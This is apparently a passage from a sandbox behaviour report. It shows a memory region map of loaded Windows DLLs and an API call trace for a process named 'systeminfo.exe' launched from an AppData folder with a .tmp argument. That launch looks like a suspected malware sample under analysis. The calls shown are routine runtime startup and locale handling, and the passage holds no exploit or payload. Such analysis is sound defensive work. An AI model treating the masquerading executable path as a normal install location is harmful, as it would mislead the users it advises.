0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1777 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1778 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1779 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1780 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756f49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1781 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1782 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e94975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1783 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d90569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1784 start_va = 0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1804 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1805 start_va = 0x880000 end_va = 0x9fffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1806 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x7549ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1807 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75146343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1808 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x757ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1809 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x757836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1810 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755e3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1811 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1812 start_va = 0xa00000 end_va = 0xb87fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1813 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1814 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e4158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1815 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b0168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1906 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1907 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1908 start_va = 0xc00000 end_va = 0xd80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1909 start_va = 0xd90000 end_va = 0x218ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 1910 start_va = 0x75c50000 end_va = 0x76899fff entry_point = 0x75cd1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1911 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750e9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Thread: id = 73 os_tid = 0x9e4 [0068.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3cfe08 | out: lpSystemTimeAsFileTime=0x3cfe08*(dwLowDateTime=0x5734f0d0, dwHighDateTime=0x1d36875)) [0068.473] GetCurrentThreadId () returned 0x9e4 [0068.473] GetCurrentProcessId () returned 0x674 [0068.473] QueryPerformanceCounter (in: lpPerformanceCount=0x3cfe00 | out: lpPerformanceCount=0x3cfe00*=500861480) returned 1 [0068.474] GetStartupInfoW (in: lpStartupInfo=0x3cfd98 | out: lpStartupInfo=0x3cfd98*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0068.474] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x759f0000 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="FlsAlloc") returned 0x75a04f2b [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="FlsFree") returned 0x75a0359f [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="FlsGetValue") returned 0x75a01252 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="FlsSetValue") returned 0x75a04208 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="InitializeCriticalSectionEx") returned 0x75a04d28 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="CreateEventExW") returned 0x75a8410b [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="CreateSemaphoreExW") returned 0x75a84195 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="SetThreadStackGuarantee") returned 0x75a0d31f [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="CreateThreadpoolTimer") returned 0x75a1ee7e [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="SetThreadpoolTimer") returned 0x772b441c [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x772dc50e [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="CloseThreadpoolTimer") returned 0x772dc381 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="CreateThreadpoolWait") returned 0x75a1f088 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="SetThreadpoolWait") returned 0x772c05d7 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="CloseThreadpoolWait") returned 0x772dca24 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="FlushProcessWriteBuffers") returned 0x77290b8c [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7734fde8 [0068.474] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcessorNumber") returned 0x772e1e1d [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetLogicalProcessorInformation") returned 0x75a84761 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="CreateSymbolicLinkW") returned 0x75a7cd11 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="EnumSystemLocalesEx") returned 0x75a8424f [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="CompareStringEx") returned 0x75a846b1 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetDateFormatEx") returned 0x75a96676 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetLocaleInfoEx") returned 0x75a84751 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetTimeFormatEx") returned 0x75a965f1 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetUserDefaultLocaleName") returned 0x75a847c1 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="IsValidLocaleName") returned 0x75a847e1 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="LCMapStringEx") returned 0x75a847f1 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentPackageId") returned 0x0 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetTickCount64") returned 0x75a1eee0 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0068.475] GetProcAddress (hModule=0x759f0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0068.476] GetCurrentThreadId () returned 0x9e4 [0068.476] GetStartupInfoW (in: lpStartupInfo=0x3cfd68 | out: lpStartupInfo=0x3cfd68*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4075c2, hStdOutput=0x4b3d1ec1, hStdError=0x0)) [0068.476] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0068.476] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0068.476] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0068.476] GetCommandLineA () returned="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"" [0068.476] GetEnvironmentStringsW () returned 0x78ffc8* [0068.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="%binkOHOTJcSMBkQ%=EINhmPkdO", cchWideChar=1694, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1694 [0068.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="%binkOHOTJcSMBkQ%=EINhmPkdO", cchWideChar=1694, lpMultiByteStr=0x790d10, cbMultiByte=1694, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="%binkOHOTJcSMBkQ%=EINhmPkdO", lpUsedDefaultChar=0x0) returned 1694 [0068.476] FreeEnvironmentStringsW (penv=0x78ffc8) returned 1 [0068.476] GetLastError () returned 0x7f [0068.476] SetLastError (dwErrCode=0x7f) [0068.476] GetLastError () returned 0x7f [0068.476] SetLastError (dwErrCode=0x7f) [0068.476] GetLastError () returned 0x7f [0068.476] SetLastError (dwErrCode=0x7f) [0068.476] GetACP () returned 0x4e4 [0068.476] GetLastError () returned 0x7f [0068.476] SetLastError (dwErrCode=0x7f) [0068.476] IsValidCodePage (CodePage=0x4e4) returned 1 [0068.476] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3cfd6c | out: lpCPInfo=0x3cfd6c) returned 1 [0068.476] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3cf834 | out: lpCPInfo=0x3cf834) returned 1 [0068.477] GetLastError () returned 0x7f [0068.477] SetLastError (dwErrCode=0x7f) [0068.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfc48, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0068.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfc48, cbMultiByte=256, lpWideCharStr=0x3cf5b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0068.477] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x3cf848 | out: lpCharType=0x3cf848) returned 1 [0068.477] GetLastError () returned 0x7f [0068.477] SetLastError (dwErrCode=0x7f) [0068.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfc48, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0068.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfc48, cbMultiByte=256, lpWideCharStr=0x3cf588, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0068.477] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0068.477] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x3cf378, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0068.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x3cfb48, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿA\x1e=K\x84ý<", lpUsedDefaultChar=0x0) returned 256 [0068.477] GetLastError () returned 0x7f [0068.477] SetLastError (dwErrCode=0x7f) [0068.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfc48, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0068.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3cfc48, cbMultiByte=256, lpWideCharStr=0x3cf598, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0068.477] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0068.477] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x3cf388, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0068.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x3cfa48, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿA\x1e=K\x84ý<", 